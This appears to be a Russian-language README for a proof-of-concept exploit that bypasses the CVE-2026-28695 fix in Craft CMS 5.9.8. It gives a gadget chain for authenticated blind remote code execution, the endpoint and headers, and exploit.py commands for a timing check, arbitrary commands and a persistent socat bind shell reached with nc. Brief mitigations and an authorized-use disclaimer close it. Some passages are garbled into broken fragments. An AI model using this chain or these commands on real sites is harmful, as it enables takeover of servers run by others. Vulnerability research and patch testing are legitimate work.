Аутентифицированное **слепое** удалённое выполнение кода в Craft CMS. Исправление для CVE-2026-28695
element-search)CVSS 3.x : 8.8 HIGH (приблизительно — проверьте)
CWE : CWE-502 (Unsafe Object Instantiation) + CWE-1336 (SSTI origin)
Base : CVE-2026-28695 (SSTI через create() + Symfony Process)
Fix : исправление из advisory e31e508 (ограничивает create() до BaseObject) — ОБОЙДЕНО здесь
Affects : Craft CMS ≤ 5.9.8 с применённым исправлением CVE-2026-28695
Аутентифицированное, слепое удалённое выполнение кода в Craft CMS. Официальное исправление для
CVE-2026-28695 лишь ограничивает create() подклассами yii\base\BaseObject. Гаджет
yii\behaviors\AttributeTypecastBehavior является BaseObject, но всё ещё достигает
точки вызова call_user_func(), поэтому он проходит фильтр. Доставляется через не-Twig
действие admin/actions/element-search/search, что также обходит CRAFT_ENABLE_TWIG_SANDBOX.
Достаточно учётной записи Content Editor.
Контроллер element-search в Craft десериализует JSON атакующего в живые PHP-объекты через
механизмы Craft::createObject() / Instance фреймворка Yii. Прикрепив AttributeTypecastBehavior,
чей attributeTypes сопоставляет атрибут с вызываемым [Psy\Readline\Hoa\ConsoleProcessus, execute],
и вызвав событие beforeSave, приведение типов превращается в:
call_user_func([Psy\Readline\Hoa\ConsoleProcessus, "execute"], "<CMD>")
Эндпоинт всегда отвечает HTTP 500 и не возвращает вывод команды — выполнение слепое.
create() + Symfony Process, достигаемый из Twig-точки
(обычно Entry Types → Title Format).e31e508 ограничивает create() подклассами BaseObject, а
цель также работает с CRAFT_ALLOW_ADMIN_CHANGES=false (settings → 403) и
CRAFT_ENABLE_TWIG_SANDBOX=true. Документированный вектор закрыт трижды.yii\behaviors\AttributeTypecastBehavior -> Psy\Readline\Hoa\ConsoleProcessus::execute
Двойной обход, по построению:
element-search — это путь через PHP-объекты, не рендеринг Twig.
CRAFT_ENABLE_TWIG_SANDBOX ограничивает только шаблонизатор, поэтому он здесь не применяется.create() до BaseObject. AttributeTypecastBehavior
→ yii\base\Behavior → yii\base\BaseObject, поэтому он удовлетворяет новому ограничению,
при этом всё ещё предоставляя точку выполнения. Исправление закрывает одно семейство классов,
а не класс BaseObject.Эндпоинт:
POST /index.php?p=admin/actions/element-search/search
X-CSRF-Token: <dashboard csrf>
X-Requested-With: XMLHttpRequest
Accept: application/json
Hoa\ConsoleProcessus::execute() выполняет команду через escapeshellcmd():
| && ; > < $() ' " → нет цепочек, нет пайпов, нет перенаправления, нет
классического bash reverse shell.: , /Именно поэтому полезная нагрузка — это единый bind-шелл socat TCP-LISTEN,fork EXEC (аргументы в
: / , / /), а не reverse shell.
Attacker (Content Editor) Craft CMS 5.9.8
| |
| GET /admin/login (scrape CSRF) |
|--------------------------------------->|
| POST users/login (jenny:******) |
|--------------------------------------->|
| GET /admin/dashboard (JS csrf) |
|<---------------------------------------|
| POST element-search/search |
| AttributeTypecastBehavior gadget |
| typecastBeforeSave = "<CMD>" |
|--------------------------------------->| call_user_func(
| HTTP 500 (blind, no output) | [ConsoleProcessus,execute], CMD)
|<---------------------------------------| -> escapeshellcmd(CMD) -> exec
| |
| oracle: "sleep 5" -> +~5s latency |
| shell: socat TCP-LISTEN:4445 bind |
| Статус | Версии |
|---|---|
| Уязвимо | Craft CMS ≤ 5.9.8 с исправлением CVE-2026-28695 |
| Примечание | Гаджет требует аутентифицированной сессии CP |
| Файл | Роль |
|---|---|
exploit.py | PoC: логин → проверка timing-oracle → одна команда → bind shell |
README.md | Этот файл |
Требуется requests (pip install requests).
# 1. Prove code execution (timing oracle: sleep 5 must add ~5s)
python3 exploit.py http://example.lab --check
# 2. Fire a single blind command (one binary + args, no metachars)
python3 exploit.py http://example.lab "sleep 5"
# 3. Plant a persistent bind shell as the web user, then connect
python3 exploit.py http://example.lab --bind 4445
nc IP or exemple.lab 4445
# custom creds
python3 exploit.py http://exemple.lab -u User -p 'SecureP4$$!' --bind
Что происходит:
AttributeTypecastBehavior отправляется в element-search.--check доказывает слепое выполнение через инъецированную задержку; --bind поднимает слушатель socat.create()), и проведите аудит обработки условий в
element-search.CRAFT_ALLOW_ADMIN_CHANGES=false и минимизируйте привилегии Content Editor — аутентификация
здесь единственное предварительное условие.psy/psysh (Hoa) там, где достижим гаджет
ConsoleProcessus::execute.element-search/search, содержащих __class, as rce или
AttributeTypecastBehavior; отмечайте всплески HTTP 500 от этого действия.e31e508 (create() → ограничение BaseObject)AttributeTypecastBehavior / yii\base\SecurityЭтот проект предназначен только для авторизованного тестирования безопасности, обучения и защитных исследований. Вы несёте ответственность за соблюдение применимых законов и правил взаимодействия вашей лаборатории или клиента.